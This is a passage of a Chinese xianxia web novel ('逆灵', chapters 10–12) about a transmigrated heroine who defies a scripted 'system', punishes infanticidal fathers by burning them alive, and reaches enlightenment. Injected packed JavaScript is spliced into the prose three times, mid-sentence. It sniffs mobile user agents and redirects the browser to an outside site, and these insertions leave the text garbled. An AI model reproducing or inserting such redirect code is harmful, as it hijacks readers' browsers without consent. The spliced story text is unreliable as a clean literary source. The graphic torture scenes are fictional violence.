惊呼凝固在咽喉中。“未命名”刺进男人的胸腔,精准刺穿心脏。 好熟悉的手感,像刺破一个篮球,初时有点阻力,随后便是吸住刀尖的虚空。在被那虚空吸紧之前,她利落抽剑,血槽带出绚烂的血花。 不错啊,买这刀的时候,还担心老板吹嘘得过了头,说什么砍人若切瓜,放血如泄洪,听起来也太夸张了。现在终于找到机会测评了,必须五星好评嘛! “啊!!!”短暂的寂静后,尖叫声响作一片。 刚才死掉的家伙眼神不太好,没看到他的兄弟们都已经在这里了。当然了,鬼火已经圈定了路线,他们无论向哪个方向跑,最后都只能到达大师的祭坛。 月光照在沾血的剑锋上,流光溢彩。持剑女人的笑意依然散漫,但在众人眼中却显得无比狰狞——那分明是嗜血猛兽才有的神情,她,是把杀戮当作游戏的。 吴迪挥剑指向一个男人。 “饶命!”那人膝盖一软,跪在地上。 她没有动手,又指向另一个。 “饶命!” 吴迪又笑了,对剑低语:“不错啊,名字这不就有了。既然大家都这么叫你,那你就是‘饶命’了。” 女人收起“饶命”,没有再杀人。她环视众男,朗声道:“知道今天为什么把你们都叫过来么?” 众男连连叩首:“仙师,哦不,仙姑,不知我们有何得罪之处?若要钱,请尽管说!” “哎呀呀,一开始就说了不要钱嘛,你们把我想成什么劫匪了。”吴迪笑着,手指河道,“喏,我只是想让你们和女儿团圆。” 芦苇窸窸窣窣,向两旁倒伏。河道里,那双蓝色眼睛越来越大,从盘子大小,变得堪比窗户。借着鬼火和月光,众人终于看清了,那是一条黏糊糊峭楞楞的黑色巨鱼,鱼头露出水面,张着血盆大口—— “嘻嘻。” 鱼口中,竟是密密麻麻的人头,惨白发泡的婴儿脸,个个睁着纯黑空洞的眼睛,带着同样的笑容。 “嘻嘻。” 浓郁的腐臭味扑面而来,怪物似乎马上要爬上河岸了。众男吓得屁滚尿流,手足并用地奔逃,想冲破紫色火焰形成的围墙。 “诶?这火是冷的?” 率先触及火墙的人大喜过望,发现火的温度竟然不高,并不伤人。是啊,他们怎么会没想到,连日暴晒,河边芦苇干燥至极,若是烈火,早已烧遍河岸。那女人,不过是在用妖法幻象唬人而已! 此时不跑,更待何时! 强烈的希望让他们健步如飞。 但没跑两步,这几人就纷纷倒地,翻滚嚎叫,如中邪一般。 “好、好冷!!” “啊啊啊!!我是废物,我是王八,我比太监还不如!” “太小了,太短了,太软了,恨,好恨啊!!!” 他们哪知道,这火看似柔和,实际融入了娃娃鱼的魔力。神火与魔血交融后,温度是不高了,但只要略一沾上火苗,就受到了魔物的精神控制,人会陷入最深的怨恨,感到彻骨的寒意。 这寒意,当时吴迪在水下感受过。不过她修为高强,神识清明,又问心无愧,很快就逃出来了。这些凡人,绝无这个能力。 凡人们鬼叫着,不知道触发了心底什么仇恨怨念,痛苦挣扎。吴迪冷冷看着他们,对那些跑到半路,正站着发愣的男子说:“还跑么?” “不、不跑了!”那些人重新陷入绝望,狼狈地下跪磕头,“仙姑,你要我们做什么,我们就做什么!” “嗯,听话就对了。我让你们带的灯油呢?” 灯油早就被四处丢弃了,有些打翻流了一地,有些还在散落的瓶瓶罐罐里。男人们手忙脚乱地摸索瓶罐,争相捡起,然后讨好地看向吴迪。 “喝了。” “啊?” 女人眉毛一挑,众男哪还敢质疑,纷纷打开瓶罐,将灯油喝进肚里。顷刻间,干呕声此起彼伏,和着火墙下的哀嚎声,死婴们的冷笑声,苇塘里的蛙声虫声,形成了奇妙的交响。 “嗯,很好。”女人露出微笑,再度点燃众男的希望。 她应该满意了吧?还以为要把灯油淋在头上点燃,没想到是拿来喝的。是想让他们中毐吗?不要紧,中点毐也罢,上吐下泻三天也罢,只要能饶命…… 女人缓步而行,欣赏着包围圈内的景象,忽然轻声说:“哎,我说,你们好像很怕啊。” 废话,此情此景谁不怕?大姐你到底要干什么,给个痛快好吗? 女人呵呵笑了:“不就是见见自己的女儿嘛,怎么怕成这样?她们朝思暮想放不下的,就是爹爹啊,这么孝顺的孩子,上哪去找?” 死婴的笑声戛然而止。与此同时,紫色火墙骤然消失。 月亮又钻进了云层。 绝望第三次降临。这一次,最深最重,纯粹如无月的夜空。 但这只是刹那的纯粹,紧接着,无数红色的火焰绽开,像朵朵莲花,盛放于仲夏夜。 撕心裂肺的惨叫声,将合唱推向了最热烈的高潮。 曾经参与创造婴儿的人体部位,正在火中燃烧,它们的主人像垂死的鱼一样甩动身体,发出的嘶吼渐渐不似人声。与此同时,腹中的灯油无端爆燃,烧穿凡胎肉骨,腾起冲天火柱,照得婴儿们惨白的脸上有了气色,喜气洋洋。 火焰合围,无数小莲花组成了一朵巨大的红莲。“红莲净世”,这来自神秘仙山的狂暴法术,终于现于人间。 吴迪冷冷地注视着这一幕。看那消失的火墙散为万千蓝色萤火,飞入滚烫的红莲中。这些恨意凝结而成的幻象,将在火中燃烧、净化。 朦胧的光。饥饿灌满肚肠,冷水挤破胸腔。鸟雀的喙,叽叽喳喳。老鼠的牙,吱吱嘎嘎。鱼湿漉漉的嘴,啪嗒啪嗒。铁钉的锈味,拧断细小骨头的声音,咔嚓咔嚓。 不,是惨叫的男人们。他们的肚肠慢慢销熔,白骨渐渐焦黑。他们一定听见了,火的声音,噼啪噼啪。 蓝萤消失了,红莲凋谢了。不知过了多久,白色尘灰纷纷扬扬地飘落,如一场灼热的雪。 大鱼仍张着嘴,眼中的蓝光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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但女孩没有掉进河中。有什么东西,将她稳稳托在了半空。 仆人们跟着主母陆续赶到,火把照亮了黑暗。大家看见,托住女孩的是一只巨大的鱼鳍,它属于一只舰船那样大的可怕怪鱼。这怪物正在解体,但它浑然不觉,只是用幽蓝的眼睛凝望着女孩。 “放开她!”钱夫人不管不顾地向前奔去,但一只有力的手拦住了她。 那是吴迪。她对着钱夫人摇摇头,示意她别过去。 女人一向戏谑慵懒的眼神,忽然如此严肃。钱夫人一愣,没来由地停住了脚步,向河里望去。 巨鱼把女孩轻轻托着,像护着什么珍宝。它努力吐出几个音节:“回、回家……” “你要走吗?”女孩瞬间听懂它的意思,张开手臂抱住它。它浑身黏湿,鳞片峥嵘,但女孩一点不怕,像抱着一只柔软的大狗,“你为什么要走?不、不跟我一起玩了吗?” “浅,脏……” 女孩一愣,落下眼泪:“是因为这里水不好,你才变成这样了吗?” 巨鱼默然。 “那你、你的家在哪里?是不是要回大海?” “大、大海。” 女孩伤心地哭了一阵,终于挤出一个笑容:“嗯,其实、其实我也一直觉得,这条河对你来说太小了,你该去更大更远的地方……我都没有见过大海呢,有多大呢?等我长大了,去海边找你,我叫一声娃娃鱼,你还能听见吗?” 据说鱼没有泪腺,但那蓝色的眼睛竟然湿润了,像下雨的海面。 “听见……” 巨鱼说着,从嘴里吐出什么发着耀眼蓝光的东西,落在女孩手中。她惊讶地抬起头,又哭了起来,更加用力地抱住巨鱼:“那、那你等我长大!” “嗯,长大……长大,开心哦。” 笨鱼居然说出了这么长的句子,这可能用尽了它全部的力气。它最后深深地看了女孩一眼,小心翼翼地把她放回岸边,然后,猛然沉入水里。 片刻之后,无数闪着莹莹蓝光的气泡从水底涌起,把河流变成了一条幽蓝的星河。所有人愣愣地看着这壮观又奇异的景象,许久不敢发出一点声音。 第一个回过神来的,还是钱夫人。她一把搂住女儿,摸着她的小脸:“徽文,没事吧?” 女孩轻轻摇头。 她茫然地伸出右手,摊开掌心,那里躺着一块蓝色宝石,形状正像消失的大鱼。 钱夫人征询地看向吴迪,吴迪打个哈欠:“拿着吧,就是小朋友给的纪念品。好了好了,告别结束,可以回家睡觉了。” 女孩忽然道:“你早知道娃娃鱼要走?” “是啊,它告诉我的,怕你舍不得,所以今天才通知你来送行。” “你们怎么能这样!” “大人的世界就是这样啊,毫无征兆被辞退,只给30分钟收拾纸箱滚出公司;莫名其妙被分手,昨天还一起吃火锅呢今天就被拉黑了。你以后就懂得啦……” 在女人的胡扯中,一行人向堤坝走去。走了一阵,钱夫人把孩子交给仆人们带着,自己走到了吴迪身边。 “那石头到底是什么?”她低声问。 “哦,没啥,魔物的魔核而已。” “啊!” “别瞎操心了,你女儿有多厉害你不是已经看到了吗,魔物那么听她的话,会害她?” 钱夫人沉默了,耳畔只剩脚步声,簌簌,沙沙,像踩在沙滩上。 “那这地上的白灰呢?”终于,钱夫人又提出了一个问题。 “啊,谁知道呢,可能是怪物抖落的头皮屑吧。” 女人又打了几个哈欠,像是困得不行了。她随意地挥挥手,和钱家人分道扬镳,不一会,就消失在茫茫夜色中。 10. 《逆灵》10 耗费了不少灵力,吴迪有些倦了。走在黑暗的街巷里,她满脑子都是该再搞点钱,出去度个假。 “这县里又脏又臭人又丑,也没啥好玩的了。不知道北边蛮人那里有没有什么新鲜玩意……” “……换个招牌,去骗酋长。要不这样,就说我是镜花阁长老,有壮 | 阳秘方,只需要用童子尿加牛粪蛋子每天服用……” 女人胡思乱想着,走回了自家院子。她打着哈欠,推开屋门,里面黑洞洞一片,只有北面未关的窗户透进一抹月光。 她走进屋里,转身关门。忽然,感到背后一阵凉风袭来。 困意荡然无存,她迅速闪开,只听一声巨响,木门被砸出一个大洞,一个高大黑影从门边缓缓回头,脖子发出“咔咔”的声音,像关节被强行掰开,十分渗人。 【叮!Jump Scare +1。请宿主继续推动主线剧情!】 “搞什么啊!” 成天搞副业,吴迪都快忘了自己的主业了,万没想到失踪已久的系统忽然诈尸,说开工就开工,打她个措手不及。要不是自己反应快,刚才已经领便当了啊! 她一弹指,点亮屋里所有灯烛。这才看清袭击她的东西——黑不溜秋像腐烂的熊一样的怪物,眼睛是幽幽的蓝色,显然又是一个魔物。 怎么还有啊!这又是什么恨意,因光〇强砍光森林而黑化的熊二吗! “咔咔咔咔”,魔物180度旋转脖子,嘴里叼着一个小孩,仔细一看,竟是田厉!他圆睁双眼,嘴唇翕张,却发不出声,显然被幻境给魇住了。 吴迪二话不说,拔剑就上。魔物伸出巨爪,向她头顶用力拍下。但女人的速度快如闪电,魔物拍了个空,腹部已然被刺中。 剑刃蓝光涌动,吸取着魔力。魔物力量流失,尖叫一声,丢下田厉,从砸烂的大门逃走了。 吴迪扶起田厉。毕竟是男主,倒没有受伤,只是吓得不轻。过了好一会,他才缓过劲来,抱着吴迪,惊魂未定地叫道:“娘!” 【情节推进度+1%,当前值:24%;人设贴合度+1%,当前值:21%。】 吴迪一愣,想起了系统上次下线前跟自己讲过的话。 好像是说,要修改田夫人的人设,改得强悍一点,以吸引女观众? 果然,人物卡自动跳到她眼前: 〇田夫人(32岁,慈爱,强悍,贤惠) 后面的简介跟以前几乎一模一样,只不过原本的“田夫人被魔物杀死”改成了“田夫人与魔物英勇搏斗后被杀死”。 不是,停工好几天,还以为有什么惊天动地的修改呢,结果就改了这几个字?!所以说田夫人是“温柔”还是“强悍”到底有多大差别啊? 系统还很得意:【好了,现在宿主可以扮演适合你的强悍人设了,本色出演,不用再担心演技问题,任务一定会推进得更顺利!】 还要我夸你吗?吴迪没理它,任它呱呱呱自言自语一通下线不送,自己给田厉裹了张毛毯,去灶上倒了碗固元灵草泡的茶,问:“怎么回事?” 田厉抱着热气腾腾的碗,楚楚可怜,平时的张扬全没有了。 “我跟肖凋在县里玩了,准备去他家睡觉,走到他家附近的树林,这东西忽然跳出来追着我咬。不知道为什么,被它咬中,我就看到很多恐怖的东西,也说不出话了,浑身好像被冻住了一样……” “肖凋呢?” “别提他了,扔下我拔腿就跑了!” 哈?设定里不是说这俩是好兄弟吗?就这? 吴迪沉声道:“遇到这种东西,首先不要怕,你越怕,它越是控制住你的心智。别胡思乱想,就把它那些幻境当皮影戏……对了,你不是练过金系法术吗?用金钟术上防御啊。” “呃,太久没练,忘记了。” 吴迪一探,这小孩灵力还不足徽文的十分之一。她叹了口气,到卧房柜子里拿出一粒丹药:“聚灵丹,短时间内提升灵力,你吃了吧。” 田厉眼睛一亮:“这个很贵啊,娘,你还给我买了丹药?” 其实本来不是给他买的,但主角当然会认为所有东西都是他的。吴迪现在也顾不上跟他多说,看他吞下丹药,提起“饶命”,转身就走。 田厉大惊:“娘,你去哪?” “去找那怪物的老巢。” “啊?那你要扔下我一个人——” “你现在灵力够使出金钟术了吧?先上个防御,我马上就回来。” 若有结界就更好了,但吴迪以前在宗门就不喜记忆这些结界、阵法之类,这是她二师姐、四师姐的专长,她只爱战斗。更何况,她也从没听说过针对魔物的结界,这玩意有没有还是个未知数。所以,也只好为此权宜之计了。 “实在遇到危险,就用这个。”她又掏出一张买来的火浣布,画了个娏天宗的护身符,拍在田厉脑门上。 然后,她出门追踪魔物的血迹。那蓝色血迹发着淡淡幽光,一路蜿蜒到一片树林中——正是田厉所说的肖凋家附近的林子。 这林子是官府的松林,不时要砍伐大树运到京城造宫殿的,所以古树参天,哪怕在夏夜里,也寒意森森。 血迹到了林子就消失了,大概是被地上厚厚的松叶吸收了。但“饶命”突然开始颤动,像是感应到了什么,要跃出剑鞘。 吴迪手一挥,在空中绽出三十六朵红莲烈火,顿时将黑暗的树林照得有如白昼。 顷刻间,寂静的林子沸腾起来,无数躲在暗处窥视着她的生灵夺命奔逃。飞禽走兽,蛇虫鼠蚁,无奇不有。但它们不是普通的动物,个个身体焦黑,形容狰狞,显然都已魔化。 哪怕“饶命”激动不已,急于饮血,吴迪也没去追那些魔物。它们加起来也打不过她,而且保留着动物本性,怕火,要对付它们易如反掌。她追过来,只是想证明自己的一个猜想—— 一棵大树后,有个跑不动的重伤者,那正是刚才袭击田厉的魔熊。它急促地喘息着,显然失血过多,精疲力竭。 “呼,呼。” 见吴迪走来,熊举起巨掌,想要作最后一击。 “别怕,不杀你。”吴迪浅笑,“张嘴。” 魔物至少能听懂人所说的最后两个字。这笨熊一愣,看看吴迪的剑,又看看天上的火,终于还是乖乖张开了嘴。 果不其然。 它嘴里有一颗人头,惨白的脸,大睁着纯黑的眼睛,腐臭味扑面而来。 只不过,和娃娃鱼嘴里的婴儿头不同,这是个成年男子的头。 吴迪猛然伸手,触及巨熊腹部的伤口。那熊吃痛,长啸一声,意图攻击,她却已闪避开来。短短一瞬,她已感受到那个人头的恨意:他生前是商人,千里行路来到北境贩货,回家的路上却被同行的“老乡”谋财害命,抛尸山林,成了孤魂野鬼,因此恨意难消。 不过这恨意没有娃娃鱼汇集千百女婴之恨来得那么猛烈,所以巨熊的魔力也没有娃娃鱼强。 吴迪擦掉手上的魔血,继续四处搜寻。很快,又找到一个跑得慢的。那是几条松毛虫,正排着队逃命。吴迪捡了根树枝,挑起一条,仔细一看可不得了,每根毛尖尖上都是一个微缩的人头,密密麻麻,看得人密恐发作。 她强忍住捏爆这虫子的冲动,只略略接触,感知其恨意来源:原来这是一队兵士,被朝廷强征,与北蛮进行了一场莫名其妙的战争,埋骨沙场。而旁边的另一条松毛虫,则是同时冤死的北蛮兵士的恨意凝成。 “去吧去吧。”吴迪把它们放回地上,“你们这仇怨,可不关我的事。自己找皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033099|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝和可汗报仇去。” 她已经证实了自己的猜想,这就够了。 魔物是人类的恨意凝成,却以动物之形为载体。换了一般人,多半会先入为主,认为是冤主魂魄寄生于动物身上,但吴迪不这么看。 她近距离接触过娃娃鱼,观察了它解体的过程。她认为,这些动物形体,是冤主化形而成,其大小与人的恨意强弱相匹配。 女婴们恨意强,就形成娃娃鱼那样的大怪物。男商恨意也强,但只有一个人,所以化成大熊。可笑的是那几百个兵士,对皇帝和可汗的恨意加起来居然只有那么一点点,仅够化成松毛虫。 这可是个新鲜事,“化形”一词,在修真界向来指动物、植物、器物化为人形,哪有人反过来化为动物的? 人可是万物灵长!那些妖修要修成千上万年,还要千方百计求得化形丹,才能化个人身,可见人类有多么高级,多么高贵! 然而,许多带着恨意离世的人,最终却甘愿抛弃人身、化为动物。 这不是倒反天罡吗? 难怪修真界对魔物一无所知。他们一定以为,这不过是一种黑化的妖魔,怎能想到这是人变成的怪兽? 但吴迪完全能够理解。她能逆向思考。 谁说人是最高级的?道法自然,而人恰是远离自然的存在。 只有人会杀死健康的女儿,疼爱羸弱的、愚笨的、甚至没有血缘关系的男儿;只有人为了无限的贪欲无所不用其极;只有人对太守、皇帝、可汗那样的衰老雄性倾注全部的崇拜敬爱,死了都不敢恨他们。 难怪已经上千年没有一个人修飞升了,不跳出“人为万物灵长”的狂妄自大,越修炼只能离大道越远,还怎么成神? 妖修就更倒楣了,吃了人类的洗脑包,自己好好的原身不要,非要化个人形,纯纯的南辕北辙。 忽然如有一道灵光直击天灵盖,吴迪感到经脉畅然,四体震动。与此同时,松林间大风吹来,松涛阵阵,山鸣谷应。方才点亮的三十六红莲骤然熄灭,只有月明如昼,洒满一地银光。 盘旋的气流将她围在中心,树叶舞动,衣袂翩飞。 她知道,自己“悟道”了。 “悟道”是修士突破的关键时刻,许多前辈是到元婴期才能悟。原主年轻,自然谈不上什么悟道。不料吴迪却轻松突破了。 她赶紧就地打坐,闭眼感受天地逆灵。紫色的火逆灵如海潮一般淹没了她,她浸在这温润的感觉里,放松、舒展、沉溺,每一寸感官都极致敏锐,也极致满足。 “六师姐,你说早期的修士都是富贵男子,那真仙真神呢?祂们是什么样子?” 脑海里响起原主曾经与六师姐的对话。 “唔……不知道诶,事实上没人见过真仙真神,所以要努力飞升上去,看看真正的神界是个什么样啊。” “咱们师祖飞升了对吗?那她有没有写信回来呀?” “没有……千年以来,她没有一次显灵。或许飞升以后,就必须断绝对下界的牵挂吧。” 不,或许不是这样简单。神界可能是一种超越了人类想象的存在,未得道的人无法感知,更无法理解。 要修炼,更要得道!! 不知过了多久,风停涛歇,万籁俱寂。吴迪缓缓睁眼,周身有朦胧紫光,隐约流动。 她轻松地突破了《婋奾宝典》第四层“炎蛇缚骨”。 同时,她还成功逆炼了一种法术。 她缓缓起身,看向在一旁目瞪口呆的魔物:“笨熊,你瞅啥?” 魔物蓝色的眼睛里倒映着女人高大的身影,但那身影不断变幻,重叠着无数形状…… 它尖叫一声,惊骇地跑开了。 吴迪微微一笑,扛着“饶命”走出树林,身轻如燕。 11. 《逆灵》11 【宿主!!你都干了什么!!怎么这些魔物见了你就跑,不受控制了?】 三天后,系统抓狂的叫声响彻脑海。 “急。” 吴迪在灶前用灵草调配饮品,心情好得不得了。 这三天,系统又不断调动魔物来袭击她,但它们已见过吴迪神火的厉害,一看到她,就吓得抱头鼠窜,更别提进攻了。 【这都是花钱的特效啊!!失灵的话,你让我怎么报账?你快交代,你又私自衍生出了什么设定?快说啊!!】 “麻。” 吴迪尝了口新开发的饮品,嘴角上扬。 系统气急败坏,又下线了。到了中午,它才重新出现:【我们先重新做特效了,待会再跟你慢慢算账。主线剧情,开始!】 于是,午饭时,什么野猪精、石头怪、赤狐魅、食人花,魑魅魍魉,纷至沓来,像走秀一般。最离谱的是,连吊死鬼都在正午出现,舌头差点拖进吴迪煮的火锅。 田厉这几日都只敢待在母亲身边,寸步不离,得以大开眼界。 “娘,你真是太强了。” “这不是废话吗。”吴迪一边在微辣火锅里烫毛肚,一边反手扔出一根筷子,射向房梁。倒挂在上面正准备偷袭的纸人,窸窣作响,顺风逃走了。 “我以后也要好好练功。”田厉捞了煮好的牛肉放进母亲碗里,“我也要变强。” 吴迪瞥他一眼:“哦?你何必好好练功呢,前几天在村口,风秀才不是跟你讲,男孩后劲足,以后稍微学学就能很厉害了嘛。” “……” “还有,之前你和肖凋在王家饭店吹牛,沙大娘、颠老伯、唐四哥他们不是都夸你聪明厉害么,哪还需要变强啊?” 田厉涨红了脸:“唔,呃,他们……” 吴迪淡淡一笑:“反正随便你,我说了不管你嘛,你爱怎样就怎样。我是不会强迫任何人听我的话的,不像这世上很多人啊,自己的人生除了失败就是受骗,还要天天教人做事,向小辈传授他们那可怜的经验,也不知道哪来的自信。” 她已经领悟了“道法自然”的真谛,如今随和得很。但金针编剧LLM系统就缺乏大智慧了,仍在拼命说教,试图改变她的想法。 【停停停!宿主,你也太过分了!!你不能一直赢啊,这样还怎么推进剧情?】 “诶?不是说我现在的人设是‘强悍’么?” 【强悍不是让你这么强啊!】系统气出一堆乱码,许久才重新组织好语言,【我知道了,你偷偷修真了。好哇,你现在这么强,之后怎么死?不死的话,剧情就全崩了啊!】 “对不起,本人现在过得不错,不想死了。” 【呵,你要搞清楚!这只是电影!你在这里不死,就无法回到现实世界,现实的你就真死了!!!】 “什么是现实,什么是虚构,谁又知道呢。”得道高人吴迪此刻根本不为所动,“反正我看这个世界就蛮好的,吃香喝辣还能打怪,搞不好我在现实世界睡桥洞呢,回去干什么。” 系统沉默一阵,放轻了声音。 【其实……】 “嗯?” 【你之前不是问过票房分红的问题吗?其实这个也是可以商量的,如果到了百亿票房,我帮你申请分红,怎样?】 哇,威逼不行开始利诱了是吧。可惜吴大师不是那么好收买的。 “你当我傻啊?就算分我几千万,也就够买套房的。我在这里,要是练成天下第一的神功,成为上下三界的霸主,什么荣华富贵没有啊?滚滚滚,告诉你,老吴翅膀已经硬了,不受拿捏了,就像销冠要踢开公司自己出去单干了懂吗?” 系统又离线了。吴迪当然知道它是去想办法对付自己了,但无所谓,万事顺其自然,车到山前必有路,船到桥头自然直,等新的阴谋来了,她相信自己自有办法。 吃饱火锅,她让田厉收拾厨房,自己一边剔牙,一边踱到后院。后院外是一片竹林,她一推开后门,竹林里发出一片稀里哗啦的声音,像是兽群闻到老虎的气味,纷纷逃窜。 呵呵,大白天的,搁这儿开鬼怪博览会呢?这电影已经完全没有逻辑了,很快就要彻底崩坏了,但预测票房值居然还有8亿,到底是哪些死忠粉还抱有不切实际的期待啊? 正想着,竹林深处传来一阵脚步声。 这么快就来了?这又是什么新款怪物? 吴迪刚要把手里的牙签掷出,那怪物,不,人类,已从竹子后走出。 那是钱夫人。她今天只带了一个丫头,两人显是不惯走土路,踏着厚厚的竹叶,走得很慢。 “哟,是你啊。”吴迪向她们打招呼,“来找我可以光明正大走前门啊,又不是白脸翘臀公狗腰小美男,邻里看到了不会说闲话的。” 钱夫人冷然道:“你能不能正经点?” “不能。我这里不招待正经人的哦,只欢迎怪物,正经人请到敝村王家饭店小坐,那里是本村风、沙、颠、唐四大家族议事堂,里面每一个都是人才,仙之人兮列如麻。” 话虽这么说,女人们很快还是在吴迪家的后院落座了。竹席、蒲团、矮几,配上吴迪自己调配的谜之饮品,加的倒是灵行里买的灵草,延年益寿强身健体,可惜浓度过高,喝一口就能质壁分离。 钱夫人喝了一口就怔住了,然后强行咽下,尽量保持淡定。 小丫头就没这定力了,眉头紧锁,五官扭曲。 “好喝吧?这叫伯牙绝命,我研制的独门配方。” 钱夫人微微点头:“和你这个人一样特别。” “哈哈哈,真是过奖了!你喜欢的话,我送给你,正好之前还欠你许多钱,这一罐应该也值百两银子……” 小丫头说不出话,连连摇头。钱夫人拍拍她手背,从她怀里拿过一个包裹:“多谢了,但今天我来,是有事——” 话音未落,包裹已被吴迪一把抓去:“谢谢了啊,怎么这么客气,还带礼物来。下次不用大包小包的,银票就行!” 小丫头终于从“伯牙绝命”的威力中缓过来,眼泪汪汪:“夫人,真的要把小姐交给这种人吗?好、好可怕……” “等等?”女人从一包金银珠宝里抬起头,“什么小姐?” 钱夫人正色道:“吴仙师,不知你是否愿意屈尊收小女为徒,对她指点一二?” 吴迪是真的意外了。 “……呃,这个……首先,叫我吴迪就好。” “不敢。在下金云飞。”女人介绍了自己,又看向丫头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033100|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这位是宋青雨,我的管账伙计。” 吴迪点点头,然后作震惊状:“我说,金云飞女士,你为什么会有这种想法啊?” 宋青雨附和:“是啊夫人,你为什么会有这种想法啊!” “你安静点!——吴仙师,之前在算卦摊,你对我说的那些话,我越想越有道理,徽文既然喜欢火系法术,那就应当让她学。” “不是,谁跟你说我会什么火系法术了?我只是一个老公失踪的农村妇女啊,最多会配点饮品,你看我像什么修真之人么?” “我看你像是一个很强的人。” “呵呵,那你可高看我了。而且就像智商和读书多少没关联,自身强不强和当不当得好教练也没关联啊。你看看我这个人,那可是跟‘老师’二字八竿子打不着对吧,只能带坏小孩,能教人家什么啊!” 金云飞沉默一会,说:“我知道了。吴仙师既这么说,我们也不能勉强。哎,是徽文这孩子没福分。” “……” “不过你说你当不好老师,这我不能同意。你至少比我懂得该怎么教女孩子。说实话,教小孩难,教女孩子尤难。 我经常不知道该拿她怎么办。太严格了吧,怕会伤害到她;对她不够严格吧,又怕会耽误了她。怕她受苦,怕她危险,要怕的事情太多太多。唉,我真的……” “停停停,这就不对了。”吴迪笑着摆手,“教男孩子才难,比教女孩子难多了。” “怎么说?” “在这个世界,想把男儿教成一个正常人都难于登天,不要说其他的啦!这才是该担忧的吧!” 金云飞一怔,若有所思。 她叹道:“听你说话,总能解我心结,你也算是我的恩师了。实在感谢,今天多有打扰了,有空再来请教。” 她起身告辞。吴迪忽然道:“等等!——我不能教徽文,但有人可以啊。” “谁?” “姜舜华,娏天首徒,爱猫峰峰主,灵晖真君,在‘九霄演武会’上打遍天下宗门的魁首,也是……呃,我大师姐。” 金云飞惊喜:“小女能得你举荐,可真是太好了!” “咳咳,不是由我举荐啊,我去举荐只能适得其反……请你看看我现在的状态,猜猜我跟师门关系如何?” “……” “你就让徽文拿着那块鱼形魔核去找她就好了。她这人眼光毐,识货。” 吴迪描述了一下爱猫峰的方位和去那儿的路径,说着说着,感觉过于复杂,问金云飞:“你有纸笔吗——我家没有——要不要记一下?” 金云飞笑着看向青雨:“不用,这孩子什么都能记住,你尽管说。” 哟,人形录音笔啊。也是,大老板的贴身秘书,总得有点东西。 吴迪一口气说完,青雨立即复述一遍,果然一丝不差,而且还提炼出了要点,简洁多了。金云飞满意地点头,吴迪却又补充道:“记住啊,到了可别提我。” 记忆里,原主和师门闹得十分的僵,所以哪怕知道大师姐就在不远的地方,也从不敢去拜访。 吴迪不想为了这事耽误徽文,其实她挺喜欢这孩子,拒绝她,并非因为那些奇奇怪怪的理由,只是因为—— 她准备离开了。 12. 《逆灵》12 这艾蝻县,显然是个不正常的地方。要回归正常,必须离开这里,使出修真界的祖传技艺——隐居。 吴迪打算把田厉带去修真界远离人烟的山林中,与鸟兽草木生活在一起。 最近田厉足不出户,虽然也就短短几天,但已经正常了许多,可见平日里艾蝻县的毐性有多么强。当然,十年的毐素非一朝一夕所能清除,眼下,那小孩又犯起了病。 他刚在后院修炼了一上午,此时托腮坐在门槛上看母亲打包,一脸忧郁:“娘,我们真的就不回来了吗?” “怎么,舍不得走?那随你吧,想一辈子待在这破村子里,你就自己留下。” “不是,我也想去看看外面是什么样的,但是……” 他抬起头,望向正门:“……那我不是见不着肖凋了吗。” 哈?这就忘记他把你丢给魔物一个人逃跑了?相爱相杀的兄弟情羁绊这么深的吗? 对于不正常病患,吴迪只顺着他的话说:“你喜欢他,没问题啊,我走了你就住他家里,我给他母亲托管费便是。” 田厉幽怨地叹了口气:“唉,那鬼怪又找上我怎么办?” 小男儿显然陷入了“母亲的保护”和“最美兄弟情”之间的选择困难,眉头紧锁,唉声叹气。吴迪不管他,哼着小曲,忙着打包。 自己做的辣条、牛肉干倒是好带,但那几坛独门饮品就不好带走了。浪费了可不行,看来,只能全送去金云飞家了。 吴迪正想着,正门传来了一阵敲门声。田厉眼睛一亮,一跃而起:“肖凋来了?” “喂喂,等下啊!”万一是什么僵尸、纸人、鬼娃娃之类呢。吴迪拦住他,自己去开了门。 看到来客,她愣住了。 这不是肖凋,是个中年男人,一身黑袍,画风十分威严,每根发丝都洋溢着爹的气息。 如果说系统说教的爹味指数是60%,这人只需要往那一站,一句话不说,爹味就达到了100%。 不用系统介绍,吴迪也知道,男主爹,田跌,提前出场了! 【叮!因宿主严重偏离剧情,剧本已进行调整。人物:田跌,粉墨登场!!!前情:田跌奉上仙宫之命,前往旦州除鬼,顺道回到丁州,看望家人……】 系统音在脑内响起,眼前弹射出半透明面板,滚动着前情提要。 吴迪打量着自己这位官配,越看越疑惑:完全不是记忆中的美貌少男了,如今既不唇红齿白又没有胸肌公狗腰,这宛如教导主任般充满性缩力的画风是怎么回事?男人的花期这么短? 【恶心!不得用性|化的眼光看一位父亲!】系统尖叫起来,【警告你,因为宿主严重偏离剧情主线,虐待幼年男主,我们才不得不启动应急预案,召唤另一监护人。请宿主好好按照剧本扮演合格的母亲角色!】 什么?偏离剧情我认,啥是虐待?你哪个摄像头看见我虐待儿童了啊神经病! 